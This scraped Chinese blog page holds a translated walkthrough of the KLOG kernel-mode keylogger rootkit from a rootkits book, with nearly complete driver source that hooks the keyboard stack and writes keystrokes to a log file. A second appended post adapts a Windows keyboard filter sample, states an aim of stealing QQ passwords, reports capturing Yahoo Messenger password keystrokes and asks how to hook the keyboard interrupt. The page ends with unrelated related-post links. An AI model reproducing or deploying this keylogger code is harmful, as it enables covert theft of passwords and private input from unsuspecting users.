http://blog.csdn.net/van_ni/archive/2006/03/11/622112.aspx

<script type="text/javascript">function StorePage(){d=document;t=d.selection?(d.selection.type!='None'?d.selection.createRange().text:''):(d.getSelection?d.getSelection():'');void(keyit=window.open('http://www.365key.com/storeit.aspx?t='+escape(d.title)+'&u='+escape(d.location.href)+'&c='+escape(t),'keyit','scrollbars=no,width=475,height=575,left=75,top=20,status=no,resizable=yes'));keyit.focus();}</script>

<script src="http://wz.csdn.net/javascripts/vote.js" type="text/javascript"></script> style="MARGIN-TOP: 0px; FLOAT: left" border="0" marginwidth="0" framespacing="0" marginheight="0" src="http://wz.csdn.net/vote.aspx?t=Rootkits%3A%20Subverting%20the%20Windows%20Kernel%20chap6_2%20%u7FFB%u8BD1%20-%20van_ni%20-%20CSDNBlog&u=http%3A//blog.csdn.net/van_ni/archive/2006/03/11/622112.aspx" frameborder="0" noresize="noresize" width="54" scrolling="no" height="75">  Rootkits: Subverting the Windows Kernel chap6_2 翻译   <script src="http://blog.csdn.net/count.aspx?ID=622112&Type=Rank" type="text/javascript"></script>   

The KLOG Rootkit:A Walk-through

注:由于本书风格是边解释,边写代码,都混一起了,你可以直接忽略文字,把代码拷贝下来试验一下。

我们的叫做KLOG的键盘监视例子,是Clandestiny所写的并在在www.rootkit.com上发表了。下面我们来浏览分析一下她的代码。

ps:一个比较流行的键盘分层过滤驱动可以在www.sysinternals.com上找到。名字为ctrl2cap。KLOG就是在它的基础上完成的。

ROOTKIT.COM
这个程序的介绍能在下面找到:
www.rootkit.com/newsread.php?newsid=187
你可以在Clandestiny在ROOT.COM的个人空间中下载到。

你得明白KLOG这个例子是针对US的键盘布局的。因为每个击键都被作为扫描码发送,而不是你所按的键的实际字母,所以把扫描码转化为字母的步骤是必要的。这种映射依赖键盘的布局。

首先,DriverEntry被调用:

NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject,

IN PUNICODE_STRING RegistryPath )

{

NTSTATUS Status = {0};

然后,一个函数被设置来专门用于为键盘读取请求。KLOG的函数DispatchRead:

// Explicitly fill in the IRP handlers we want to hook.

pDriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead;

驱动对象现在已经设置好了,你还得把它连到键盘设备链中。这个功能由函数HookKeyboard来完成:

// Hook the keyboard now.

HookKeyboard(pDriverObject);

看清楚HookKeyboard这个函数,如下:

NTSTATUS HookKeyboard(IN PDRIVER_OBJECT pDriverObject)

{

// the filter device object

PDEVICE_OBJECT pKeyboardDeviceObject;

IoCreateDevice被用来创建设备对象。注意这个设备是没有名字的,还有,它是FILE_DEVICE_KEYBOARD类别的。还有,用到了DEVICE_EXTENSION结构的大小,它是个用户自定义的结构。

// Create a keyboard device object.

NTSTATUS status = IoCreateDevice(pDriverObject,

sizeof(DEVICE_EXTENSION),

NULL,// no name

FILE_DEVICE_KEYBOARD,

0,

true,

&pKeyboardDeviceObject);

// Make sure the device was created.

if(!NT_SUCCESS(status))

return status;

为了与那些下面的键盘设备区分开来,跟新设备有关联的标志应该设置成唯一的。你可以通过DeviceTree之类的工具来来获得这方面的信息。在写键盘过滤驱动时,下面这些标志也许会用到:

pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags

| (DO_BUFFERED_IO | DO_POWER_PAGABLE);

pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags &

~DO_DEVICE_INITIALIZING;

记得当设备对象被创建的时候,用到了DEVICE_EXTENSION结构的大小。这是任意一块能用来存储数据的不被分页的内存(也就是不用从页面文件读取的)。这块数据与该设备对象有练习。KLOG定义的DEVICE_EXTENSION结构如下:

typedef struct _DEVICE_EXTENSION

{

PDEVICE_OBJECT pKeyboardDevice;

PETHREAD pThreadObj;

bool bThreadTerminate;

HANDLE hLogFile;

KEY_STATE kState;

KSEMAPHORE semQueue;

KSPIN_LOCK lockQueue;

LIST_ENTRY QueueListHead;

}DEVICE_EXTENSION, *PDEVICE_EXTENSION;

HookKeyboard函数对该结构清零并创建一个指针来初始化某些成员:

RtlZeroMemory(pKeyboardDeviceObject->DeviceExtension,

sizeof(DEVICE_EXTENSION));

// Get the pointer to the device extension.

PDEVICE_EXTENSION pKeyboardDeviceExtension =

(PDEVICE_EXTENSION)pKeyboardDeviceObject->DeviceExtension;

插入层中的该键盘设备名字叫KeyboardClass0。其被转化为UNICODE字符串,并且过滤钩子通过调用IoAttachDevice()来实现。指向设备链中的下一个设备的指针存在pKeyboardDeviceExtension->pKeyboardDevice中。该指针被用来把IRPS传递给设备链中的下一个设备。

CCHAR ntNameBuffer[64] = "//Device//KeyboardClass0";

STRING  ntNameString;

UNICODE_STRING uKeyboardDeviceName;

RtlInitAnsiString(&ntNameString, ntNameBuffer);

RtlAnsiStringToUnicodeString(&uKeyboardDeviceName,

&ntNameString,

TRUE );

IoAttachDevice(pKeyboardDeviceObject, &uKeyboardDeviceName,

&pKeyboardDeviceExtension->pKeyboardDevice);

RtlFreeUnicodeString(&uKeyboardDeviceName);

return STATUS_SUCCESS;

}// end HookKeyboard

假定HookKeyboard一切都好,我们看看KLOG在DriverMain中继续处理其他的东东。下一步就是创建一个工作者线程(也就是后台线程,无用户界面的)用来把击键纪录到log文件中。工作者线程是必要的,因为文件操作在IRP处理函数中是不可能的。当扫描码已经进入IRPs,系统运行在DISPATCH IRQ level上,这时是不允许进行文件操作的。在把击键传送到一个共享缓存时,工作者线程能够访问它们并且把它们写到文件中去。工作者线程运行在一个不同的IRQ level----PASSIVE上,这个level文件操作是允许的。工作者线程的设置在InitThreadKeyLogger函数中实现:

InitThreadKeyLogger(pDriverObject);

InitThreadKeyLogger函数的实现如下:

NTSTATUS InitThreadKeyLogger(IN PDRIVER_OBJECT pDriverObject)

{

一个设备扩展的指针被用来初始化更多的成员。KLOG存储线程的状态在bThreadTerminate中。线程运行时其应该设置为false。

PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDriverObject-

>DeviceObject->DeviceExtension;

// Set the worker thread to running state in device extension.

pKeyboardDeviceExtension->bThreadTerminate = false;

工作者线程通过调用PsCreateSystemThread来创建。可以看到,线程函数名称为ThreadKeyLogger并且设备扩展作为一个参数传递给线程函数。

// Create the worker thread.

HANDLE hThread;

NTSTATUS status = PsCreateSystemThread(&hThread,

(ACCESS_MASK)0,

NULL,

(HANDLE)0,

NULL,

ThreadKeyLogger,

pKeyboardDeviceExtension);

if(!NT_SUCCESS(status))

return status;

线程对象的指针存储在设备扩展中:

// Obtain a pointer to the thread object.

ObReferenceObjectByHandle(hThread,

THREAD_ALL_ACCESS,

NULL,

KernelMode,

(PVOID*)&pKeyboardDeviceExtension->pThreadObj,

NULL);

// We don't need the thread handle.

ZwClose(hThread);

return status;

}

回到DriverEntry,线程已经准备好了。一个共享链接链表被初始化并且存储在设备扩展中。该链表将包含捕获到的击键。

PDEVICE_EXTENSION pKeyboardDeviceExtension =

(PDEVICE_EXTENSION) pDriverObject->DeviceObject->DeviceExtension;

InitializeListHead(&pKeyboardDeviceExtension->QueueListHead);

一个spinlock被初始化来同步对链接链表的访问。这使得链接链表的线程安全可靠,这是非常重要的。如果KLOG没有使用spinlock,当两个线程试图同时访问该链接链表时,可能会导致蓝屏错误。semaphore(信号量)知道在工作队列中项目的数量。

// Initialize the lock for the linked list queue.

KeInitializeSpinLock(&pKeyboardDeviceExtension->lockQueue);

// Initialize the work queue semaphore.

KeInitializeSemaphore(&pKeyboardDeviceExtension->semQueue, 0, MAXLONG);

下面的代码打开一个文件,c:/klog.txt,用于记录击键。

// Create the log file.

IO_STATUS_BLOCK file_status;

OBJECT_ATTRIBUTES obj_attrib;

CCHAR  ntNameFile[64] = "//DosDevices//c://klog.txt";

STRING ntNameString;

UNICODE_STRING uFileName;

RtlInitAnsiString(&ntNameString, ntNameFile);

RtlAnsiStringToUnicodeString(&uFileName, &ntNameString, TRUE);

InitializeObjectAttributes(&obj_attrib, &uFileName,

OBJ_CASE_INSENSITIVE,

NULL,

NULL);

Status = ZwCreateFile(&pKeyboardDeviceExtension->hLogFile,

GENERIC_WRITE,

&obj_attrib,

&file_status,

NULL,

FILE_ATTRIBUTE_NORMAL,

0,

FILE_OPEN_IF,

FILE_SYNCHRONOUS_IO_NONALERT,

NULL,

0);

RtlFreeUnicodeString(&uFileName);

if (Status != STATUS_SUCCESS)

{

DbgPrint("Failed to create log file.../n");

DbgPrint("File Status = %x/n",file_status);

}

else

{

DbgPrint("Successfully created log file.../n");

DbgPrint("File Handle = %x/n",

pKeyboardDeviceExtension->hLogFile);

}

Finally, a DriverUnload routine is specified for cleanup purposes:

// Set the DriverUnload procedure.

pDriverObject->DriverUnload = Unload;

DbgPrint("Set DriverUnload function pointer.../n");

DbgPrint("Exiting Driver Entry....../n");

return STATUS_SUCCESS;

}

此时,KLOG驱动挂钩到了设备链中并且开始获取击键IRPs。被调用来读取request的函数为DispatchRead。看一下这个函数:

NTSTATUS DispatchRead(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp)

{

当一个读请求被提交给键盘控制器时,该函数被调用。此时,IRP中没有任何数据能为我们所用。我们只是在击键被捕获之后才想看到IRP--当IRP在它回到设备链的路上时。

唯一的获知IRP已经完成的方法就是设置一个"完成函数"(a completion routine)。如果我们不设置"完成函数",IRP回到设备链的时候我们的东东就被忽略了。

当我们传递IRP到下一个在设备链中最底层的设时备时,我们需要设置IRP堆栈指针。堆栈在这里是容易让人误解的。每一个设备都简单地拥有一个私有的内存区可以与每一个IRP使用。这些私有的区域被以一定的次序安排。你可以用IoGetCurrentIrpStackLocation 和 IoGetNextIrpStackLocation来获得这些私有区域的指针。一个"目前"指针必须正指向下一个最底层驱动的私有区域在IRP被传递之前。所以,在调用IoCallDriver之前,调用IoCopyCurrentIrpStackLocationToNext:

// Copy parameters down to next level in the stack

// for the driver below us.

IoCopyCurrentIrpStackLocationToNext(pIrp);

Note that the completion routine is named "OnReadCompletion":

// Set the completion callback.

IoSetCompletionRoutine(pIrp,

OnReadCompletion,

pDeviceObject,

TRUE,

TRUE,

TRUE);

未决的IRPs的数量被记录以使KLOG不会被卸载除非处理完毕。

// Track the # of pending IRPs.

numPendingIrps++;

最后,IoCallDriver被用于传递IRP到在设备链中的下一个最底层的设备。记得指向下一个最底层设备的指针存储在设备扩展结构中的pKeyboardDevice中。

// Pass the IRP on down to /the driver underneath us.

return IoCallDriver(

((PDEVICE_EXTENSION) pDeviceObject->DeviceExtension)->pKeyboardDevice, pIrp);

}// end DispatchRead

现在我们可以看到每一个READ IRP,一旦被处理完毕,我们就可以调用OnReadComletion函数。让我们看一下关于此的一些细节:

NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT pDeviceObject,

IN PIRP pIrp, IN PVOID Context)

{

// Get the device extension - we'll need to use it later.

PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDeviceObject
->DeviceExtension;

该IRP的状态被检查。将其看作返回值,或者错误值。如果该值被设置为STATUS_SUCCESS,那就意味着IRP已经成功完成,并且它应该有一些击键数据。SystemBuffer成员指向KEYBOARD_INPUT_DATA结构数组。IoStatus.Information成员包含有该数组的长度。

// If the request has completed, extract the value of the key.

if(pIrp->IoStatus.Status == STATUS_SUCCESS)

{

PKEYBOARD_INPUT_DATA keys = (PKEYBOARD_INPUT_DATA)

pIrp->AssociatedIrp.SystemBuffer;

int numKeys = pIrp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA);

KEYBOARD_INPUT_DATA结构的定义如下:

typedef struct _KEYBOARD_INPUT_DATA {

USHORT UnitId;

USHORT MakeCode;

USHORT Flags;

USHORT Reserved;

ULONG ExtraInformation;

} KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA;

KLOG现在通过所有的数组成员进行循环,从其中获得每一个击键:

for(int i = 0; i < numKeys; i++)

{

DbgPrint("ScanCode: %x/n", keys[i].MakeCode);

注意,我们接收两个事件:按键,松开键。对于一个简单的键盘监视来说,我们仅仅需要关注其中的一个。在这里,KEY_MAKE是一个重要的标记。

if(keys[i].Flags == KEY_MAKE)

DbgPrint("%s/n","Key Down");

记得该"完成函数"在DISPATCH_LEVEL IRQL被调用,这意味着文件操作是不允许的。为了绕过这个限制,KLOG通过一个共享链接链表把击键传递给工作者线程。临界区必须用来同步该共享链接链表的访问。内核强行实施一条规则:在某一时刻只有一个线程能够访问某个临界区。(Technical note:A deferred procedure call [DPC] cannot be used here, since a DPC runs at DISPATCH_LEVEL also.)
  

KLOG分配了一些NonPagedPool的内存并把扫描码放到这些内存中。然后又从这些内存中放到链接链表中。Again,由于我们运行在DISPATCH level,内存仅能从NonPagedPool中分配。

KEY_DATA* kData = (KEY_DATA*)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA));

// Fill in kData structure with info from IRP.

kData->KeyData = (char)keys[i].MakeCode;

kData->KeyFlags = (char)keys[i].Flags;

// Add the scan code to the linked list

// queue so our worker thread

// can write it out to a file.

DbgPrint("Adding IRP to work queue...");

ExInterlockedInsertTailList(&pKeyboardDeviceExtension->QueueListHead,

&kData->ListEntry,

&pKeyboardDeviceExtension->lockQueue);

The semaphore is incremented to indicate that some data needs to be processed:

// Increment the semaphore by 1 - no WaitForXXX after this call.

KeReleaseSemaphore(&pKeyboardDeviceExtension->semQueue,

0,

1,

FALSE);

}// end for

}// end if

// Mark the IRP pending if necessary.

if(pIrp->PendingReturned)

IoMarkIrpPending(pIrp);

Since KLOG is finished processing this IRP, the IRP count is decremented:

numPendingIrps-;

return pIrp->IoStatus.Status;

}// end OnReadCompletion

At this point, a keystroke has been saved in the linked list and is available to the worker thread. Let's now look at the worker thread routine:

VOID ThreadKeyLogger(IN PVOID pContext)

{

PDEVICE_EXTENSION pKeyboardDeviceExtension =

(PDEVICE_EXTENSION)pContext;

PDEVICE_OBJECT pKeyboardDeviceObject =

pKeyboardDeviceExtension->pKeyboardDevice;

PLIST_ENTRY pListEntry;

KEY_DATA* kData; // custom data structure used to

// hold scancodes in the linked list

现在KLOG进入了一个循环。该代码等待使用KeWaitForSingleObject的信号量(semaphore)的到来。如果信号量增加,循环就继续。

while(true)

{

// Wait for data to become available in the queue.

KeWaitForSingleObject(

&pKeyboardDeviceExtension->semQueue,

Executive,

KernelMode,

FALSE,

NULL);

顶端节点从链接链表中安全移除。注意临界区的使用。

pListEntry = ExInterlockedRemoveHeadList(

&pKeyboardDeviceExtension->QueueListHead,

&pKeyboardDeviceExtension->lockQueue);

内核线程不能够为外部所终止,要终止它只能靠它自己。这里KLOG检查一个标志位来决定它是否应该终止工作者线程。在KLOG卸载时才会这么做。

if(pKeyboardDeviceExtension->bThreadTerminate == true)

{

PsTerminateSystemThread(STATUS_SUCCESS);

}

CONTAINING_RECORD宏必须用来获得指向在pListEntry结构中的数据的指针。

kData = CONTAINING_RECORD(pListEntry,KEY_DATA,ListEntry);

这里KLOG获得扫描码并将其转化为字符码。这通过一个有用的函数ConvertScanCodeToKeyCode来实现。该函数仅仅适用于US English键盘布局,当然,改一下就可用在其他的键盘布局了。

// Convert the scan code to a key code.

char keys[3] = {0};

ConvertScanCodeToKeyCode(pKeyboardDeviceExtension,kData,keys);

// Make sure the key has returned a valid code

// before writing it to the file.

if(keys != 0)

{

如果文件句柄是有效的,使用ZwWriteFile来讲字符码写到纪录文件中。

// Write the data out to a file.

if(pKeyboardDeviceExtension->hLogFile != NULL)

{

IO_STATUS_BLOCK io_status;

NTSTATUS status = ZwWriteFile(

pKeyboardDeviceExtension->hLogFile,

NULL,

NULL,

NULL,

&io_status,

&keys,

strlen(keys),

NULL,

NULL);

if(status != STATUS_SUCCESS)

DbgPrint("Writing scan code to file.../n");

else

DbgPrint("Scan code '%s' successfully written to file./n",keys);

}// end if

}// end if

}// end while

return;

}// end ThreadLogKeyboard

KLOG的基本功能已经完成了。看一下Unload函数。

VOID Unload( IN PDRIVER_OBJECT pDriverObject)

{

// Get the pointer to the device extension.

PDEVICE_EXTENSION pKeyboardDeviceExtension =

(PDEVICE_EXTENSION) pDriverObject->DeviceObject->DeviceExtension;

DbgPrint("Driver Unload Called.../n");

驱动必须unhook该设备通过IoDetachDevice:

// Detach from the device underneath that we're hooked to.

IoDetachDevice(pKeyboardDeviceExtension->pKeyboardDevice);

DbgPrint("Keyboard hook detached from device.../n");

这里用了一个timer,KLOG进入一个简短的循环直到所有的IRPs都被处理完。

// Create a timer.

KTIMER kTimer;

LARGE_INTEGER timeout;

timeout.QuadPart = 1000000;// .1 s

KeInitializeTimer(&kTimer);

如果一个IRP正在等待一个击键,upload就不会完成指导这个键被按下了:

while(numPendingIrps > 0)

{

// Set the timer.

KeSetTimer(&kTimer,timeout,NULL);

KeWaitForSingleObject(

&kTimer,

Executive,

KernelMode,

false,

NULL);

}

现在KLOG说明工作者线程应该结束了:

// Set our key logger worker thread to terminate.

pKeyboardDeviceExtension->bThreadTerminate = true;

// Wake up the thread if its blocked & WaitForXXX after this call.

KeReleaseSemaphore(

&pKeyboardDeviceExtension->semQueue,

0,

1,

TRUE);

KLOG通过线程指针调用KeWaitForSingleObject,等待直到工作者线程被终止:

// Wait until the worker thread terminates.

DbgPrint("Waiting for key logger thread to terminate.../n");

KeWaitForSingleObject(pKeyboardDeviceExtension->pThreadObj,

Executive,

KernelMode,

false,NULL);

DbgPrint("Key logger thread terminated/n");

最后,关闭记录文件。

// Close the log file.

ZwClose(pKeyboardDeviceExtension->hLogFile);

还有,一些清理工作应该做一下:

// Delete the device.

IoDeleteDevice(pDriverObject->DeviceObject);

DbgPrint("Tagged IRPs dead...Terminating.../n");

return;

}

这样,键盘监控就完成了。这无疑是很重要的一份代码--一个了不起的通向其他分层的ROOTKITS的起点。毫无疑问,就单单键盘监控就已经是我们所应掌握的最有价值的ROOTKITS之一了。击键告诉我们太多了,这还用说吗?

Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=622112

http://hi.baidu.com/widebright/blog/item/ee0a5e60c1cb03de8db10dc4.html

键盘驱动的一些编程资料
2007年04月19日 星期四 21:57
http://msdn2.microsoft.com/en-us/library/ms790194.aspx
Windows Driver Kit: Human Input Devices
Driver Stacks for Non-HIDClass Keyboard and Mouse Devices

The following figure illustrates the driver stacks for PS/2 keyboard and mouse devices, and serial mouse devices.

Driver Stacks for Non-HIDClass Keyboard and Mouse Devices

Vendor drivers for PS/2 and serial keyboard and mouse devices are not required.

Vendors can supply a filter driver for a PS/2 keyboard and mouse — see Features of the Kbfiltr and Moufiltr Drivers.

For more information about supporting non-HIDClass keyboard and mouse devices, see the following:

Non-HIDClass Keyboard and Mouse Devices

Serial Devices and Drivers

看字面上的意思好像可以自己实现中间黑色的那层,然后就可以得到键盘的数据。在那层微软留了几个接口函数,可以让你自己实现键盘数据获取过滤等功能:

Windows Driver Kit: Human Input Devices
Kbfiltr Callback Routines

This section describes the Kbfiltr callback routines:

KbFilter_InitializationRoutine

KbFilter_IsrHook

KbFilter_ServiceCallback

像在KbFilter_ServiceCallback这个函数中就可以得到键盘的按键数据

Windows Driver Kit: Human Input Devices
KbFilter_ServiceCallback

The KbFilter_ServiceCallback routine is a template for a filter service callback routine that supplements the operation of KeyboardClassServiceCallback.

VOID     KbFilter_ServiceCallback(       IN PDEVICE_OBJECT  DeviceObject,       IN PKEYBOARD_INPUT_DATA  InputDataStart,       IN PKEYBOARD_INPUT_DATA  InputDataEnd,       IN OUT PULONG  InputDataConsumed       );

Parameters

DeviceObject

Pointer to the class device object.
InputDataStart
Pointer to the first keyboard input data packet in the input data buffer of the port device.
InputDataEnd
Pointer to the keyboard input data packet that immediately follows the last data packet in the input data buffer of the port device.
InputDataConsumed
Pointer to the number of keyboard input data packets that are transferred by the routine.

Return Value

None

Headers

Declared in kbfiltr.h. Include kbfiltr.h.

Comments

The ISR dispatch completion routine of the function driver calls KbFilter_ServiceCallback, which then calls KeyboardClassServiceCallback. A vendor can implement a filter service callback to modify the input data that is transferred from the device's input buffer to the class data queue. For example, the callback can delete, transform, or insert data.

For more information about customizing the keyboard class service callback, see Connect a Class Service Callback and a Filter Service Callback to a Device.

KbFilter_ServiceCallback runs in kernel mode at IRQL DISPATCH_LEVEL.

See Also

KeyboardClassServiceCallback, KEYBOARD_INPUT_DATA

--------------------------------------------------------------------------------------------------

Windows Driver Kit: Human Input Devices
KEYBOARD_INPUT_DATA

KEYBOARD_INPUT_DATA contains one packet of keyboard input data.

typedef struct _KEYBOARD_INPUT_DATA {     USHORT     UnitId;     USHORT     MakeCode;     USHORT     Flags;     USHORT     Reserved;     ULONG     ExtraInformation;} KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA;

Members

UnitId

Specifies the unit number of a keyboard device. A keyboard device name has the format /Device/KeyboardPort N, where the suffix N is the unit number of the device. For example, a device, whose name is /Device/KeyboardPort0, has a unit number of zero, and a device, whose name is /Device/KeyboardPort1, has a unit number of one.
MakeCode
Specifies the scan code associated with a key press.
Flags
Specifies a bitwise OR of one or more of the following flags that indicate whether a key was pressed or released, and other miscellaneous information.

Value Meaning
KEY_MAKE The key was pressed.
KEY_BREAK The key was released.
KEY_E0 Extended scan code used to indicate special keyboard functions. See the Kbdclass sample code.
KEY_E1 Extended scan code used to indicate special keyboard functions. See the Kbdclass sample code.
Reserved
Reserved for operating system use.
ExtraInformation
Specifies device-specific information associated with a keyboard event.

Headers

Declared in ntddkbd.h. Include ntddkbd.h.

Comments

In response to an IRP_MJ_READ (Kbdclass) request, Kbdclass transfers zero or more KEYBOARD_INPUT_DATA structures from its internal data queue to the Win32 subsystem buffer.

See Also

IRP_MJ_READ (Kbdclass), KeyboardClassServiceCallback

-------------------------------------------------------------------------------------------------------

根据WinDDK中的kbfiltr这个例子,稍稍改了一下就可以得到一个键盘过滤驱动了。本来是想通过键盘驱动来获取QQ的密码的。不过好像QQ棋高一着,得到输入密码的时候,自己写的驱动的KbFilter_ServiceCallback函数中一直得不到键盘数据,看来是QQ自己的键盘驱动抢先一步完成IRP了。不知道怎么设置才能使自己的驱动处于比npkcrypt.sys (QQ的键盘驱动)更低的层次,不然是得不到键盘数据了。

(未完待续)

=======================================================================

修改后的用DbgPrint来打印键盘扫描码的程序的KeyboardClassServiceCallback 回调函数

VOID
KbFilter_ServiceCallback(
     IN PDEVICE_OBJECT DeviceObject,
     IN PKEYBOARD_INPUT_DATA InputDataStart,
     IN PKEYBOARD_INPUT_DATA InputDataEnd,
     IN OUT PULONG InputDataConsumed
     )
/*++

Routine Description:

Called when there are keyboard packets to report to the RIT.   You can do
     anything you like to the packets.   For instance:
    
     o Drop a packet altogether
     o Mutate the contents of a packet
     o Insert packets into the stream
                    
Arguments:

DeviceObject - Context passed during the connect IOCTL
    
     InputDataStart - First packet to be reported
    
     InputDataEnd - One past the last packet to be reported.   Total number of
                    packets is equal to InputDataEnd - InputDataStart
    
     InputDataConsumed - Set to the total number of packets consumed by the RIT
                         (via the function pointer we replaced in the connect
                         IOCTL)

Return Value:

Status is returned.

--*/
{

PDEVICE_EXTENSION    devExt;

/****************************************************************/

ULONG   i;
       ULONG num;
       ULONG   keycode;
       PKEYBOARD_INPUT_DATA   data;

data =InputDataStart;
               num=InputDataEnd-InputDataStart;
      DbgPrint(("Keyboard Filter Driver Sample - in the ServiceCallback function /n"));
     for(i=0;i<num;i++)
     {
        /*DebugPrint(("Keyboard Filter Driver Sample - keycode="));*/
        keycode= data->MakeCode;           //得到按键扫描码
        DbgPrint("Keyboard Filter Driver Sample - keycode=%u/n",keycode );
        data++;
     }
     
             
/*****************************************************************/

devExt = (PDEVICE_EXTENSION) DeviceObject->DeviceExtension;

(*(PSERVICE_CALLBACK_ROUTINE) devExt->UpperConnectData.ClassService)(
         devExt->UpperConnectData.ClassDeviceObject,
         InputDataStart,
         InputDataEnd,
         InputDataConsumed);

}

安装自己修改后的键盘过滤驱动后(怎么安装参考WinDDK说明),就可以截获键盘数据了。每次键盘按下和弹起,用Dbgview.exe都可以查看到数据比如按下“D”键时可以得到33的扫描码。   实际测试发现可以拦下像雅虎通等程序的密码输入时的按键信息。应该是除了QQ的密码输入之外,其他地方的按键信息都可以拦下了。在网上找了一下资料,说是QQ采用一个韩国公司的键盘加密数据技术,在QQ密码输入的时候修改了系统的键盘中断IDT了。

怎么样在windows系统下修改键盘中断向量呢?继续学习吧!!

keyboard hook相关推荐

  1. python keyboard hook_键盘监控的实现Ⅰ——Keyboard Hook API函数

    在实际应用中,键盘监控是一种很常见的技术,它包括按键的记录.按键的过滤.按键的修改(映射)等.比方说,我们想统计用户的击键情况,这个就是按键的记录:我们想屏蔽某些系统键(例如Alt键.Win键),这个 ...

  2. 日志钩子(JournalRecord Hook)的使用

    -- 钩子是WINDOWS中消息处理机制的一个要点,通过安装各种钩子,应用程序能够设置相应的子例程来监视系统里的消息传递以及在这些消息到达目标窗口程序之前处理它们.钩子的种类很多,每种钩子可以截获并处 ...

  3. python keyboard库_python利用 keyboard 库记录键盘事件

    今天也不知道是想了什么,突然就想要试试看我有效击键时的手速到底有多快.为此,需要记录下来击键的记录.于是找到了 Python 的 keyboard 库. 安装非常简单,只需执行 pip install ...

  4. 【1.6万字】连续抓屏保存为Gif动图 【keyboard库、PIL库、imageio库和pygifsicle库 探索】

    目录 一.抓屏保存为Gif 二.keyboard库 三.PIL 库 3.0 安装Pillow 3.1 打开本地图片 3.2 创建一张新图片 3.3 Image模块的常用属性 3.4 图片的模式和模式转 ...

  5. python编程midi键盘按键_python 偷懒技巧——使用 keyboard 录制键盘事件

    之前在某本书上看到一个程序,可以通过 Python 记录下全局范围内的键盘事件,使用的是 ctypes 库. 后来几经尝试,始终不能成功运行.原来它只支持 Python2 和 32 位的 Window ...

  6. python监听键盘keyboard_python利用 keyboard 库记录键盘事件

    今天也不知道是想了什么,突然就想要试试看我有效击键时的手速到底有多快.为此,需要记录下来击键的记录.于是找到了 python 的 keyboard 库. 安装非常简单,只需执行 pip install ...

  7. Python借助keyboard监听键盘事件

    文章目录 1. 按 2. 安装 3. 按键字符 4. 常用方法 4.1. [wait()](https://github.com/boppreh/keyboard#keyboard.wait) 4.2 ...

  8. python keyboard方法_python 偷懒技巧——使用 keyboard 录制键盘事件

    之前在某本书上看到一个程序,可以通过 Python 记录下全局范围内的键盘事件,使用的是 ctypes 库. 后来几经尝试,始终不能成功运行.原来它只支持 Python2 和 32 位的 Window ...

  9. python keyboard方法_python 偷懒技巧――使用 keyboard 录制键盘事件

    之前在某本书上看到一个程序,可以通过 Python 记录下全局范围内的键盘事件,使用的是 ctypes 库. 后来几经尝试,始终不能成功运行.原来它只支持 Python2 和 32 位的 Window ...

最新文章

  1. 受用一生的高效 PyCharm 使用技巧(一)
  2. 用友云平台,真正的云原生架构,加速云应用落地
  3. 安装您的Sbo Add-on插件
  4. 无法解析的外部符号 class boost::system::error_category const __cdecl boost::system::system_category(void)
  5. SQL Server 表分区注意事项(转载)
  6. python3-正则表达式基本使用方法(附案例)_python正则表达式
  7. linux命令join与paste
  8. 自定义注解实现业务分发
  9. mysql binlog日志的三种模式
  10. 白话经典算法系列之六 高速排序 高速搞定
  11. 我国5G有望引领全球 2020年前将商用
  12. matlaba绘制gps星空图_网络图横道图绘制软件 5.0免锁版告别纯手工绘制,修改工作量大!...
  13. Linux下的tar压缩解压缩命令详解(转)
  14. ssis 包配置组织程序_如何停止失控的SSIS程序包
  15. 我的HTML学习之路02
  16. 转 文件路径相关的字符串操作
  17. 数百万设备受新型 BrakTooth 蓝牙漏洞影响,并非所有厂商均修复
  18. RabbitMQ基础进阶教程
  19. FluentAPI --- 用C#写的JS代码生成器
  20. python科学计算之Pandas使用(二)

热门文章

  1. 华为正式官宣鸿蒙OS,华为正式官宣,鸿蒙OS 2.0系统即将问世,Mate 40有望首发
  2. 导航栏,标签栏,工具栏和状态栏
  3. 机器学习入门及基本算法图解
  4. 计算机评课用语不足与建议,评课用语优缺点及建议
  5. java之DNF坑爹的强化
  6. oppok7x可以用鸿蒙系统吗,oppok7x支持nfc吗_oppok7x手机怎么样
  7. 抽脂有什么风险和后遗症
  8. Python 读取 PDF 信息插入 Word 文档
  9. 三位数最大公约数c语言,C语言求最小公倍数和最大公约数三种算法(经典)(示例代码)...
  10. python复制文件的代码_python复制文件的实现代码